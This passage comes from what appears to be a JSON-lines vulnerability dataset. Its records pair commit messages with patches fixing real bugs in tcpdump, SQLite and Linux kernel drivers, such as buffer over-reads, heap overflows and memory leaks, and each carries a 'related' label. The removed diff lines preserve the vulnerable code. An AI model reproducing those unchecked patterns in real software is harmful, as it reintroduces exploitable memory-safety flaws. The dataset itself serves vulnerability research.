file has invalid length %\" PRIsize \" < _%u_ < %u (BT_SHB_INSANE_MAX)\",\n+\t\t sizeof(*bhdrp) + sizeof(*shbp) + sizeof(struct block_trailer),\n+\t\t total_length,\n+\t\t BT_SHB_INSANE_MAX);\n \n \t\t*err = 1;\n \t\treturn (NULL);", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-isakmp.c", "commit_id": "396e94ff55a80d554b1fe46bf107db1e91008d6c", "commit_message": "(for 4.9.3) CVE-2018-14469/ISAKMP: Add a missing bounds check\n\nIn ikev1_n_print() check bounds before trying to fetch the replay detection\nstatus.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry.\n\nAdd a test using the capture file supplied by the reporter(s).", "patch": "@@ -1769,6 +1769,7 @@ ikev1_n_print(netdissect_options *ndo, u_char tpay _U_,\n \t\t }\n \t\tcase IPSECDOI_NTYPE_REPLAY_STATUS:\n \t\t\tND_PRINT((ndo,\" status=(\"));\n+\t\t\tND_TCHECK_32BITS(cp);\n \t\t\tND_PRINT((ndo,\"replay detection %sabled\",\n \t\t\t\t EXTRACT_32BITS(cp) ? \"en\" : \"dis\"));\n \t\t\tND_PRINT((ndo,\")\"));", "sections": [{"section": "@@ -1769,6 +1769,7 @@ ikev1_n_print(netdissect_options *ndo, u_char tpay _U_,\n \t\t }\n \t\tcase IPSECDOI_NTYPE_REPLAY_STATUS:\n \t\t\tND_PRINT((ndo,\" status=(\"));\n+\t\t\tND_TCHECK_32BITS(cp);\n \t\t\tND_PRINT((ndo,\"replay detection %sabled\",\n \t\t\t\t EXTRACT_32BITS(cp) ? \"en\" : \"dis\"));\n \t\t\tND_PRINT((ndo,\")\"));", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-rx.c", "commit_id": "c24922e692a52121e853a84ead6b9337f4c08a94", "commit_message": "(for 4.9.3) CVE-2018-14466/Rx: fix an over-read bug\n\nIn rx_cache_insert() and rx_cache_find() properly read the serviceId\nfield of the rx_header structure as a 16-bit integer. When those\nfunctions tried to read 32 bits the extra 16 bits could be outside of\nthe bounds checked in rx_print() for the rx_header structure, as\nserviceId is the last field in that structure.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd a test using the capture file supplied by the reporter(s).", "patch": "@@ -694,7 +694,7 @@ rx_cache_insert(netdissect_options *ndo,\n \tUNALIGNED_MEMCPY(&rxent->client, &ip->ip_src, sizeof(uint32_t));\n \tUNALIGNED_MEMCPY(&rxent->server, &ip->ip_dst, sizeof(uint32_t));\n \trxent->dport = dport;\n-\trxent->serviceId = EXTRACT_32BITS(&rxh->serviceId);\n+\trxent->serviceId = EXTRACT_16BITS(&rxh->serviceId);\n \trxent->opcode = EXTRACT_32BITS(bp + sizeof(struct rx_header));\n }\n \n@@ -725,7 +725,7 @@ rx_cache_find(const struct rx_header *rxh, const struct ip *ip, int sport,\n \t\tif (rxent->callnum == EXTRACT_32BITS(&rxh->callNumber) &&\n \t\t rxent->client.s_addr == clip &&\n \t\t rxent->server.s_addr == sip &&\n-\t\t rxent->serviceId == EXTRACT_32BITS(&rxh->serviceId) &&\n+\t\t rxent->serviceId == EXTRACT_16BITS(&rxh->serviceId) &&\n \t\t rxent->dport == sport) {\n \n \t\t\t/* We got a match! */", "sections": [{"section": "@@ -694,7 +694,7 @@ rx_cache_insert(netdissect_options *ndo,\n \tUNALIGNED_MEMCPY(&rxent->client, &ip->ip_src, sizeof(uint32_t));\n \tUNALIGNED_MEMCPY(&rxent->server, &ip->ip_dst, sizeof(uint32_t));\n \trxent->dport = dport;\n-\trxent->serviceId = EXTRACT_32BITS(&rxh->serviceId);\n+\trxent->serviceId = EXTRACT_16BITS(&rxh->serviceId);\n \trxent->opcode = EXTRACT_32BITS(bp + sizeof(struct rx_header));\n }\n \n", "related": false}, {"section": "@@ -725,7 +725,7 @@ rx_cache_find(const struct rx_header *rxh, const struct ip *ip, int sport,\n \t\tif (rxent->callnum == EXTRACT_32BITS(&rxh->callNumber) &&\n \t\t rxent->client.s_addr == clip &&\n \t\t rxent->server.s_addr == sip &&\n-\t\t rxent->serviceId == EXTRACT_32BITS(&rxh->serviceId) &&\n+\t\t rxent->serviceId == EXTRACT_16BITS(&rxh->serviceId) &&\n \t\t rxent->dport == sport) {\n \n \t\t\t/* We got a match! */", "related": false}]} +{"owner": "sqlite", "repo": "sqlite", "language": "C", "file_name": "src/wherecode.c", "commit_id": "57f7ece78410a8aae86aa4625fb7556897db384c", "commit_message": "Fix a problem that comes up when using generated columns that evaluate to a\nconstant in an index and then making use of that index in a join.\n\nFossilOrigin-Name: 8b12e95fec7ce6e0de82a04ca3dfcf1a8e62e233b7382aa28a8a9be6e862b1af", "patch": "@@ -1141,6 +1141,8 @@ static int whereIndexExprTransColumn(Walker *p, Expr *pExpr){\n if( pExpr->op==TK_COLUMN ){\n IdxExprTrans *pX = p->u.pIdxTrans;\n if( pExpr->iTable==pX->iTabCur && pExpr->iColumn==pX->iTabCol ){\n+ assert( pExpr->y.pTab!=0 );\n+ pExpr->affExpr = sqlite3TableColumnAffinity(pExpr->y.pTab,pExpr->iColumn);\n pExpr->iTable = pX->iIdxCur;\n pExpr->iColumn = pX->iIdxCol;\n pExpr->y.pTab = 0;", "sections": [{"section": "@@ -1141,6 +1141,8 @@ static int whereIndexExprTransColumn(Walker *p, Expr *pExpr){\n if( pExpr->op==TK_COLUMN ){\n IdxExprTrans *pX = p->u.pIdxTrans;\n if( pExpr->iTable==pX->iTabCur && pExpr->iColumn==pX->iTabCol ){\n+ assert( pExpr->y.pTab!=0 );\n+ pExpr->affExpr = sqlite3TableColumnAffinity(pExpr->y.pTab,pExpr->iColumn);\n pExpr->iTable = pX->iIdxCur;\n pExpr->iColumn = pX->iIdxCol;\n pExpr->y.pTab = 0;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/wireless/marvell/mwifiex/ie.c", "commit_id": "7caac62ed598a196d6ddf8d9c121e12e082cac3a", "commit_message": "mwifiex: Fix three heap overflow at parsing element in cfg80211_ap_settings\n\nmwifiex_update_vs_ie(),mwifiex_set_uap_rates() and\nmwifiex_set_wmm_params() call memcpy() without checking\nthe destination size.Since the source is given from\nuser-space, this may trigger a heap buffer overflow.\n\nFix them by putting the length check before performing memcpy().\n\nThis fix addresses CVE-2019-14814,CVE-2019-14815,CVE-2019-14816.\n\nSigned-off-by: Wen Huang \nAcked-by: Ganapathi Bhat \nSigned-off-by: Kalle Valo ", "patch": "@@ -241,6 +241,9 @@ static int mwifiex_update_vs_ie(const u8 *ies, int ies_len,\n \t\t}\n \n \t\tvs_ie = (struct ieee_types_header *)vendor_ie;\n+\t\tif (le16_to_cpu(ie->ie_length) + vs_ie->len + 2 >\n+\t\t\tIEEE_MAX_IE_SIZE)\n+\t\t\treturn -EINVAL;\n \t\tmemcpy(ie->ie_buffer + le16_to_cpu(ie->ie_length),\n \t\t vs_ie, vs_ie->len + 2);\n \t\tle16_unaligned_add_cpu(&ie->ie_length, vs_ie->len + 2);", "sections": [{"section": "@@ -241,6 +241,9 @@ static int mwifiex_update_vs_ie(const u8 *ies, int ies_len,\n \t\t}\n \n \t\tvs_ie = (struct ieee_types_header *)vendor_ie;\n+\t\tif (le16_to_cpu(ie->ie_length) + vs_ie->len + 2 >\n+\t\t\tIEEE_MAX_IE_SIZE)\n+\t\t\treturn -EINVAL;\n \t\tmemcpy(ie->ie_buffer + le16_to_cpu(ie->ie_length),\n \t\t vs_ie, vs_ie->len + 2);\n \t\tle16_unaligned_add_cpu(&ie->ie_length, vs_ie->len + 2);", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/qrtr/tun.c", "commit_id": "a21b7f0cff1906a93a0130b74713b15a0b36481d", "commit_message": "net: qrtr: fix memort leak in qrtr_tun_write_iter\n\nIn qrtr_tun_write_iter the allocated kbuf should be release in case of\nerror or success return.\n\nv2 Update: Thanks to David Miller for pointing out the release on success\npath as well.\n\nSigned-off-by: Navid Emamdoost \nSigned-off-by: David S. Miller ", "patch": "@@ -84,11 +84,14 @@ static ssize_t qrtr_tun_write_iter(struct kiocb *iocb, struct iov_iter *from)\n \tif (!kbuf)\n \t\treturn -ENOMEM;\n \n-\tif (!copy_from_iter_full(kbuf, len, from))\n+\tif (!copy_from_iter_full(kbuf, len, from)) {\n+\t\tkfree(kbuf);\n \t\treturn -EFAULT;\n+\t}\n \n \tret = qrtr_endpoint_post(&tun->ep, kbuf, len);\n \n+\tkfree(kbuf);\n \treturn ret < 0 ? ret : len;\n }\n ", "sections": [{"section": "@@ -84,11 +84,14 @@ static ssize_t qrtr_tun_write_iter(struct kiocb *iocb, struct iov_iter *from)\n \tif (!kbuf)\n \t\treturn -ENOMEM;\n \n-\tif (!copy_from_iter_full(kbuf, len, from))\n+\tif (!copy_from_iter_full(kbuf, len, from)) {\n+\t\tkfree(kbuf);\n \t\treturn -EFAULT;\n+\t}\n \n \tret = qrtr_endpoint_post(&tun->ep, kbuf, len);\n \n+\tkfree(kbuf);\n \treturn ret < 0 ? ret : len;\n }\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/wireless/marvell/mwifiex/pcie.c", "commit_id": "d10dcb615c8e29d403a24d35f8310a7a53e3050c", "commit_message": "mwifiex: pcie: Fix memory leak in mwifiex_pcie_init_evt_ring\n\nIn mwifiex_pcie_init_evt_ring, a new skb is allocated which should be\nreleased if mwifiex_map_pci_memory() fails. The release for skb and\ncard->evtbd_ring_vbase is added.\n\nFixes: 0732484b47b5 (\"mwifiex: separate ring initialization and ring creation routines\")\nSigned-off-by: Navid Emamdoost \nAcked-by: Ganapathi Bhat \nSigned-off-by: Kalle Valo ", "patch": "@@ -687,8 +687,11 @@ static int mwifiex_pcie_init_evt_ring(struct mwifiex_adapter *adapter)\n \t\tskb_put(skb, MAX_EVENT_SIZE);\n \n \t\tif (mwifiex_map_pci_memory(adapter, skb, MAX_EVENT_SIZE,\n-\t\t\t\t\t PCI_DMA_FROMDEVICE))\n+\t\t\t\t\t PCI_DMA_FROMDEVICE)) {\n+\t\t\tkfree_skb(skb);\n+\t\t\tkfree(card->evtbd_ring_vbase);\n \t\t\treturn -1;\n+\t\t}\n \n \t\tbuf_pa = MWIFIEX_SKB_DMA_ADDR(skb);\n ", "sections": [{"section": "@@ -687,8 +687,11 @@ static int mwifiex_pcie_init_evt_ring(struct mwifiex_adapter *adapter)\n \t\tskb_put(skb, MAX_EVENT_SIZE);\n \n \t\tif (mwifiex_map_pci_memory(adapter, skb, MAX_EVENT_SIZE,\n-\t\t\t\t\t PCI_DMA_FROMDEVICE))\n+\t\t\t\t\t PCI_DMA_FROMDEVICE)) {\n+\t\t\tkfree_skb(skb);\n+\t\t\tkfree(card->evtbd_ring_vbase);\n \t\t\treturn -1;\n+\t\t}\n \n \t\tbuf_pa = MWIFIEX_SKB_DMA_ADDR(skb);\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/gpu/drm/amd/amdgpu/amdgpu_acp.c", "commit_id": "57be09c6e8747bf48704136d9e3f92bfb93f5725", "commit_message": "drm/amdgpu: fix multiple memory leaks in acp_hw_init\n\nIn acp_hw_init there are some allocations that needs to be released in\ncase of failure:\n\n1- adev->acp.acp_genpd should be released if any allocation attemp for\nadev->acp.acp_cell, adev->acp.acp_res or i2s_pdata fails.\n2- all of those allocations should be released if\nmfd_add_hotplug_devices or pm_genpd_add_device fail.\n3- Release is needed in case of time out values expire.\n\nReviewed-by: Christian König \nSigned-off-by: Navid Emamdoost \nSigned-off-by: Alex Deucher ", "patch": "@@ -189,7 +189,7 @@ static int acp_hw_init(void *handle)\n \tu32 val = 0;\n \tu32 count = 0;\n \tstruct device *dev;\n-\tstruct i2s_platform_data *i2s_pdata;\n+\tstruct i2s_platform_data *i2s_pdata = NULL;\n \n \tstruct amdgpu_device *adev = (struct amdgpu_device *)handle;\n \n@@ -231,20 +231,21 @@ static int acp_hw_init(void *handle)\n \tadev->acp.acp_cell = kcalloc(ACP_DEVS, sizeof(struct mfd_cell),\n \t\t\t\t\t\t\tGFP_KERNEL);\n \n-\tif (adev->acp.acp_cell == NULL)\n-\t\treturn -ENOMEM;\n+\tif (adev->acp.acp_cell == NULL) {\n+\t\tr = -ENOMEM;\n+\t\tgoto failure;\n+\t}\n \n \tadev->acp.acp_res = kcalloc(5, sizeof(struct resource), GFP_KERNEL);\n \tif (adev->acp.acp_res == NULL) {\n-\t\tkfree(adev->acp.acp_cell);\n-\t\treturn -ENOMEM;\n+\t\tr = -ENOMEM;\n+\t\tgoto failure;\n \t}\n \n \ti2s_pdata = kcalloc(3, sizeof(struct i2s_platform_data), GFP_KERNEL);\n \tif (i2s_pdata == NULL) {\n-\t\tkfree(adev->acp.acp_res);\n-\t\tkfree(adev->acp.acp_cell);\n-\t\treturn -ENOMEM;\n+\t\tr = -ENOMEM;\n+\t\tgoto failure;\n \t}\n \n \tswitch (adev->asic_type) {\n@@ -341,14 +342,14 @@ static int acp_hw_init(void *handle)\n \tr = mfd_add_hotplug_devices(adev->acp.parent, adev->acp.acp_cell,\n \t\t\t\t\t\t\t\tACP_DEVS);\n \tif (r)\n-\t\treturn r;\n+\t\tgoto failure;\n \n \tfor (i = 0; i < ACP_DEVS ; i++) {\n \t\tdev = get_mfd_cell_dev(adev->acp.acp_cell[i].name, i);\n \t\tr = pm_genpd_add_device(&adev->acp.acp_genpd->gpd, dev);\n \t\tif (r) {\n \t\t\tdev_err(dev, \"Failed to add dev to genpd\\n\");\n-\t\t\treturn r;\n+\t\t\tgoto failure;\n \t\t}\n \t}\n \n@@ -367,7 +368,8 @@ static int acp_hw_init(void *handle)\n \t\t\tbreak;\n \t\tif (--count == 0) {\n \t\t\tdev_err(&adev->pdev->dev, \"Failed to reset ACP\\n\");\n-\t\t\treturn -ETIMEDOUT;\n+\t\t\tr = -ETIMEDOUT;\n+\t\t\tgoto failure;\n \t\t}\n \t\tudelay(100);\n \t}\n@@ -384,7 +386,8 @@ static int acp_hw_init(void *handle)\n \t\t\tbreak;\n \t\tif (--count == 0) {\n \t\t\tdev_err(&adev->pdev->dev, \"Failed to reset ACP\\n\");\n-\t\t\treturn -ETIMEDOUT;\n+\t\t\tr = -ETIMEDOUT;\n+\t\t\tgoto failure;\n \t\t}\n \t\tudelay(100);\n \t}\n@@ -393,6 +396,13 @@ static int acp_hw_init(void *handle)\n \tval &= ~ACP_SOFT_RESET__SoftResetAud_MASK;\n \tcgs_write_register(adev->acp.cgs_device, mmACP_SOFT_RESET, val);\n \treturn 0;\n+\n+failure:\n+\tkfree(i2s_pdata);\n+\tkfree(adev->acp.acp_res);\n+\tkfree(adev->acp.acp_cell);\n+\tkfree(adev->acp.acp_genpd);\n+\treturn r;\n }\n \n /**", "sections": [{"section": "@@ -189,7 +189,7 @@ static int acp_hw_init(void *handle)\n \tu32 val = 0;\n \tu32 count = 0;\n \tstruct device *dev;\n-\tstruct i2s_platform_data *i2s_pdata;\n+\tstruct i2s_platform_data *i2s_pdata = NULL;\n \n \tstruct amdgpu_device *adev = (struct amdgpu_device *)handle;\n \n", "related": false}, {"section": "@@ -231,20 +231,21 @@ static int acp_hw_init(void *handle)\n \tadev->acp.acp_cell = kcalloc(ACP_DEVS, sizeof(struct mfd_cell),\n \t\t\t\t\t\t\tGFP_KERNEL);\n \n-\tif (adev->acp.acp_cell == NULL)\n-\t\treturn -ENOMEM;\n+\tif (adev->acp.acp_cell == NULL) {\n+\t\tr = -ENOMEM;\n+\t\tgoto failure;\n+\t}\n \n \tadev->acp.acp_res = kcalloc(5, sizeof(struct resource), GFP_KERNEL);\n \tif (adev->acp.acp_res == NULL) {\n-\t\tkfree(adev->acp.acp_cell);\n-\t\treturn -ENOMEM;\n+\t\tr = -ENOMEM;\n+\t\tgoto failure;\n \t}\n \n \ti2s_pdata = kcalloc(3, sizeof(struct i2s_platform_data), GFP_KERNEL);\n \tif (i2s_pdata == NULL) {\n-\t\tkfree(adev->acp.acp_res);\n-\t\tkfree(adev->acp.acp_cell);\n-\t\treturn -ENOMEM;\n+\t\tr = -ENOMEM;\n+\t\tgoto failure;\n \t}\n \n \tswitch (adev->asic_type) {\n", "related": false}, {"section": "@@ -341,14 +342,14 @@ static int acp_hw_init(void *handle)\n \tr = mfd_add_hotplug_devices(adev->acp.parent, adev->acp.acp_cell,\n \t\t\t\t\t\t\t\tACP_DEVS);\n \tif (r)\n-\t\treturn r;\n+\t\tgoto failure;\n \n \tfor (i = 0; i < ACP_DEVS ; i++) {\n \t\tdev = get_mfd_cell_dev(adev->acp.acp_cell[i].name, i);\n \t\tr = pm_genpd_add_device(&adev->acp.acp_genpd->gpd, dev);\n \t\tif (r) {\n \t\t\tdev_err(dev, \"Failed to add dev to genpd\\n\");\n-\t\t\treturn r;\n+\t\t\tgoto failure;\n \t\t}\n \t}\n \n", "related": false}, {"section": "@@ -367,7 +368,8 @@ static int acp_hw_init(void *handle)\n \t\t\tbreak;\n \t\tif (--count == 0) {\n \t\t\tdev_err(&adev->pdev->dev, \"Failed to reset ACP\\n\");\n-\t\t\treturn -ETIMEDOUT;\n+\t\t\tr = -ETIMEDOUT;\n+\t\t\tgoto failure;\n \t\t}\n \t\tudelay(100);\n \t}\n", "related": false}, {"section": "@@ -384,7 +386,8 @@ static int acp_hw_init(void *handle)\n \t\t\tbreak;\n \t\tif (--count == 0) {\n \t\t\tdev_err(&adev->pdev->dev, \"Failed to reset ACP\\n\");\n-\t\t\treturn -ETIMEDOUT;\n+\t\t\tr = -ETIMEDOUT;\n+\t\t\tgoto failure;\n \t\t}\n \t\tudelay(100);\n \t}\n", "related": false}, {"section": "@@ -393,6 +396,13 @@ static int acp_hw_init(void *handle)\n \tval &= ~ACP_SOFT_RESET__SoftResetAud_MASK;\n \tcgs_write_register(adev->acp.cgs_device, mmACP_SOFT_RESET, val);\n \treturn 0;\n+\n+failure:\n+\tkfree(i2s_pdata);\n+\tkfree(adev->acp.acp_res);\n+\tkfree(adev->acp.acp_cell);\n+\tkfree(adev->acp.acp_genpd);\n+\treturn r;\n }\n \n /**", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/infiniband/hw/bnxt_re/ib_verbs.c", "commit_id": "4a9d46a9fe14401f21df69cea97c62396d5fb053", "commit_message": "RDMA: Fix goto target to release the allocated memory\n\nIn bnxt_re_create_srq(), when ib_copy_to_udata() fails allocated memory\nshould be released by goto fail.\n\nFixes: 37cb11acf1f7 (\"RDMA/bnxt_re: Add SRQ support for Broadcom adapters\")\nLink: https://lore.kernel.org/r/20190910222120.16517-1-navid.emamdoost@gmail.com\nSigned-off-by: Navid Emamdoost \nReviewed-by: Jason Gunthorpe \nSigned-off-by: Jason Gunthorpe ", "patch": "@@ -1398,7 +1398,7 @@ int bnxt_re_create_srq(struct ib_srq *ib_srq,\n \t\t\tdev_err(rdev_to_dev(rdev), \"SRQ copy to udata failed!\");\n \t\t\tbnxt_qplib_destroy_srq(&rdev->qplib_res,\n \t\t\t\t\t &srq->qplib_srq);\n-\t\t\tgoto exit;\n+\t\t\tgoto fail;\n \t\t}\n \t}\n \tif (nq)", "sections": [{"section": "@@ -1398,7 +1398,7 @@ int bnxt_re_create_srq(struct ib_srq *ib_srq,\n \t\t\tdev_err(rdev_to_dev(rdev), \"SRQ copy to udata failed!\");\n \t\t\tbnxt_qplib_destroy_srq(&rdev->qplib_res,\n \t\t\t\t\t &srq->qplib_srq);\n-\t\t\tgoto exit;\n+\t\t\tgoto fail;\n \t\t}\n \t}\n \tif (nq)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/gpu/drm/amd/display/dc/dce100/dce100_resource.c", "commit_id": "055e547478a11a6360c7ce05e2afc3e366968a12", "commit_message": "drm/amd/display: memory leak\n\nIn dcn*_clock_source_create when dcn20_clk_src_construct fails allocated\nclk_src needs release.\n\nSigned-off-by: Navid Emamdoost \nSigned-off-by: Alex Deucher ", "patch": "@@ -668,6 +668,7 @@ struct clock_source *dce100_clock_source_create(\n \t\treturn &clk_src->base;\n \t}\n \n+\tkfree(clk_src);\n \tBREAK_TO_DEBUGGER();\n \treturn NULL;\n }", "sections": [{"section": "@@ -668,6 +668,7 @@ struct clock_source *dce100_clock_source_create(\n \t\treturn &clk_src->base;\n \t}\n \n+\tkfree(clk_src);\n \tBREAK_TO_DEBUGGER();\n \treturn NULL;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/btrfs/volumes.c", "commit_id": "09ba3bc9dd150457c506e4661380a6183af651c1", "commit_message": "btrfs: merge btrfs_find_device and find_device\n\nBoth btrfs_find_device() and find_device() does the same thing except\nthat the latter does not take the seed device onto account in the device\nscanning context. We can merge them.\n\nSigned-off-by: Anand Jain \nReviewed-by: David Sterba \nSigned-off-by: David Sterba ", "patch": "@@ -415,27 +415,6 @@ static struct btrfs_device *__alloc_device(void)\n \treturn dev;\n }\n \n-/*\n- * Find a device specified by @devid or @uuid in the list of @fs_devices, or\n- * return NULL.\n- *\n- * If devid and uuid are both specified, the match must be exact, otherwise\n- * only devid is used.\n- */\n-static struct btrfs_device *find_device(struct btrfs_fs_devices *fs_devices,\n-\t\tu64 devid, const u8 *uuid)\n-{\n-\tstruct btrfs_device *dev;\n-\n-\tlist_for_each_entry(dev, &fs_devices->devices, dev_list) {\n-\t\tif (dev->devid == devid &&\n-\t\t (!uuid || !memcmp(dev->uuid, uuid, BTRFS_UUID_SIZE))) {\n-\t\t\treturn dev;\n-\t\t}\n-\t}\n-\treturn NULL;\n-}\n-\n static noinline struct btrfs_fs_devices *find_fsid(\n \t\tconst u8 *fsid, const u8 *metadata_fsid)\n {\n@@ -984,8 +963,8 @@ static noinline struct btrfs_device *device_list_add(const char *path,\n \t\tdevice = NULL;\n \t} else {\n \t\tmutex_lock(&fs_devices->device_list_mutex);\n-\t\tdevice = find_device(fs_devices, devid,\n-\t\t\t\tdisk_super->dev_item.uuid);\n+\t\tdevice = btrfs_find_device(fs_devices, devid,\n+\t\t\t\tdisk_super->dev_item.uuid, NULL, false);\n \n \t\t/*\n \t\t * If this disk has been pulled into an fs devices created by\n@@ -2402,10 +2381,10 @@ static struct btrfs_device *btrfs_find_device_by_path(\n \tdev_uuid = disk_super->dev_item.uuid;\n \tif (btrfs_fs_incompat(fs_info, METADATA_UUID))\n \t\tdevice = btrfs_find_device(fs_info->fs_devices, devid, dev_uuid,\n-\t\t\t\t\t disk_super->metadata_uuid);\n+\t\t\t\t\t disk_super->metadata_uuid, true);\n \telse\n \t\tdevice = btrfs_find_device(fs_info->fs_devices, devid, dev_uuid,\n-\t\t\t\t\t disk_super->fsid);\n+\t\t\t\t\t disk_super->fsid, true);\n \n \tbrelse(bh);\n \tif (!device)\n@@ -2425,7 +2404,7 @@ struct btrfs_device *btrfs_find_device_by_devspec(\n \n \tif (devid) {\n \t\tdevice = btrfs_find_device(fs_info->fs_devices, devid, NULL,\n-\t\t\t\t\t NULL);\n+\t\t\t\t\t NULL, true);\n \t\tif (!device)\n \t\t\treturn ERR_PTR(-ENOENT);\n \t\treturn device;\n@@ -2568,7 +2547,7 @@ static int btrfs_finish_sprout(struct btrfs_trans_handle *trans,\n \t\tread_extent_buffer(leaf, fs_uuid, btrfs_device_fsid(dev_item),\n \t\t\t\t BTRFS_FSID_SIZE);\n \t\tdevice = btrfs_find_device(fs_info->fs_devices, devid, dev_uuid,\n-\t\t\t\t\t fs_uuid);\n+\t\t\t\t\t fs_uuid, true);\n \t\tBUG_ON(!device); /* Logic error */\n \n \t\tif (device->fs_devices->seeding) {\n@@ -6621,19 +6600,36 @@ blk_status_t btrfs_map_bio(struct btrfs_fs_info *fs_info, struct bio *bio,\n \treturn BLK_STS_OK;\n }\n \n+/*\n+ * Find a device specified by @devid or @uuid in the list of @fs_devices, or\n+ * return NULL.\n+ *\n+ * If devid and uuid are both specified, the match must be exact, otherwise\n+ * only devid is used.\n+ *\n+ * If @seed is true, traverse through the seed devices.\n+ */\n struct btrfs_device *btrfs_find_device(struct btrfs_fs_devices *fs_devices,\n-\t\t\t\t u64 devid, u8 *uuid, u8 *fsid)\n+\t\t\t\t u64 devid, u8 *uuid, u8 *fsid,\n+\t\t\t\t bool seed)\n {\n \tstruct btrfs_device *device;\n \n \twhile (fs_devices) {\n \t\tif (!fsid ||\n \t\t !memcmp(fs_devices->metadata_uuid, fsid, BTRFS_FSID_SIZE)) {\n-\t\t\tdevice = find_device(fs_devices, devid, uuid);\n-\t\t\tif (device)\n-\t\t\t\treturn device;\n+\t\t\tlist_for_each_entry(device, &fs_devices->devices,\n+\t\t\t\t\t dev_list) {\n+\t\t\t\tif (device->devid == devid &&\n+\t\t\t\t (!uuid || memcmp(device->uuid, uuid,\n+\t\t\t\t\t\t BTRFS_UUID_SIZE) == 0))\n+\t\t\t\t\treturn device;\n+\t\t\t}\n \t\t}\n-\t\tfs_devices = fs_devices->seed;\n+\t\tif (seed)\n+\t\t\tfs_devices = fs_devices->seed;\n+\t\telse\n+\t\t\treturn NULL;\n \t}\n \treturn NULL;\n }\n@@ -6879,7 +6875,7 @@ static int read_one_chunk(struct btrfs_fs_info *fs_info, struct btrfs_key *key,\n \t\t\t\t btrfs_stripe_dev_uuid_nr(chunk, i),\n \t\t\t\t BTRFS_UUID_SIZE);\n \t\tmap->stripes[i].dev = btrfs_find_device(fs_info->fs_devices,\n-\t\t\t\t\t\t\tdevid, uuid, NULL);\n+\t\t\t\t\t\t\tdevid, uuid, NULL, true);\n \t\tif (!map->stripes[i].dev &&\n \t\t !btrfs_test_opt(fs_info, DEGRADED)) {\n \t\t\tfree_extent_map(em);\n@@ -7019,7 +7015,7 @@ static int read_one_dev(struct btrfs_fs_info *fs_info,\n \t}\n \n \tdevice = btrfs_find_device(fs_info->fs_devices, devid, dev_uuid,\n-\t\t\t\t fs_uuid);\n+\t\t\t\t fs_uuid, true);\n \tif (!device) {\n \t\tif (!btrfs_test_opt(fs_info, DEGRADED)) {\n \t\t\tbtrfs_report_missing_device(fs_info, devid,\n@@ -7609,7 +7605,8 @@ int btrfs_get_dev_stats(struct btrfs_fs_info *fs_info,\n \tint i;\n \n \tmutex_lock(&fs_devices->device_list_mutex);\n-\tdev = btrfs_find_device(fs_info->fs_devices, stats->devid, NULL, NULL);\n+\tdev = btrfs_find_device(fs_info->fs_devices, stats->devid, NULL, NULL,\n+\t\t\t\ttrue);\n \tmutex_unlock(&fs_devices->device_list_mutex);\n \n \tif (!dev) {\n@@ -7823,7 +7820,7 @@ static int verify_one_dev_extent(struct btrfs_fs_info *fs_info,\n \t}\n \n \t/* Make sure no dev extent is beyond device bondary */\n-\tdev = btrfs_find_device(fs_info->fs_devices, devid, NULL, NULL);\n+\tdev = btrfs_find_device(fs_info->fs_devices, devid, NULL, NULL, true);\n \tif (!dev) {\n \t\tbtrfs_err(fs_info, \"failed to find devid %llu\", devid);\n \t\tret = -EUCLEAN;\n@@ -7832,7 +7829,8 @@ static int verify_one_dev_extent(struct btrfs_fs_info *fs_info,\n \n \t/* It's possible this device is a dummy for seed device */\n \tif (dev->disk_total_bytes == 0) {\n-\t\tdev = find_device(fs_info->fs_devices->seed, devid, NULL);\n+\t\tdev = btrfs_find_device(fs_info->fs_devices->seed, devid, NULL,\n+\t\t\t\t\tNULL, false);\n \t\tif (!dev) {\n \t\t\tbtrfs_err(fs_info, \"failed to find seed devid %llu\",\n \t\t\t\t devid);", "sections": [{"section": "@@ -415,27 +415,6 @@ static struct btrfs_device *__alloc_device(void)\n \treturn dev;\n }\n \n-/*\n- * Find a device specified by @devid or @uuid in the list of @fs_devices, or\n- * return NULL.\n- *\n- * If devid and uuid are both specified, the match must be exact, otherwise\n- * only devid is used.\n- */\n-static struct btrfs_device *find_device(struct btrfs_fs_devices *fs_devices,\n-\t\tu64 devid, const u8 *uuid)\n-{\n-\tstruct btrfs_device *dev;\n-\n-\tlist_for_each_entry(dev, &fs_devices->devices, dev_list) {\n-\t\tif (dev->devid == devid &&\n-\t\t (!uuid || !memcmp(dev->uuid, uuid, BTRFS_UUID_SIZE))) {\n-\t\t\treturn dev;\n-\t\t}\n-\t}\n-\treturn NULL;\n-}\n-\n static noinline struct btrfs_fs_devices *find_fsid(\n \t\tconst u8 *fsid, const u8 *metadata_fsid)\n {\n", "related": false}, {"section": "@@ -984,8 +963,8 @@ static noinline struct btrfs_device *device_list_add(const char *path,\n \t\tdevice = NULL;\n \t} else {\n \t\tmutex_lock(&fs_devices->device_list_mutex);\n-\t\tdevice = find_device(fs_devices, devid,\n-\t\t\t\tdisk_super->dev_item.uuid);\n+\t\tdevice = btrfs_find_device(fs_devices, devid,\n+\t\t\t\tdisk_super->dev_item.uuid, NULL, false);\n \n \t\t/*\n \t\t * If this disk has been pulled into an fs devices created by\n", "related": false}, {"section": "@@ -2402,10 +2381,10 @@ static struct btrfs_device *btrfs_find_device_by_path(\n \tdev_uuid = disk_super->dev_item.uuid;\n \tif (btrfs_fs_incompat(fs_info, METADATA_UUID))\n \t\tdevice = btrfs_find_device(fs_info->fs_devices, devid, dev_uuid,\n-\t\t\t\t\t disk_super->metadata_uuid);\n+\t\t\t\t\t disk_super->metadata_uuid, true);\n \telse\n \t\tdevice = btrfs_find_device(fs_info->fs_devices, devid, dev_uuid,\n-\t\t\t\t\t disk_super->fsid);\n+\t\t\t\t\t disk_super->fsid, true);\n \n \tbrelse(bh);\n \tif (!device)\n", "related": false}, {"section": "@@ -2425,7 +2404,7 @@ struct btrfs_device *btrfs_find_device_by_devspec(\n \n \tif (devid) 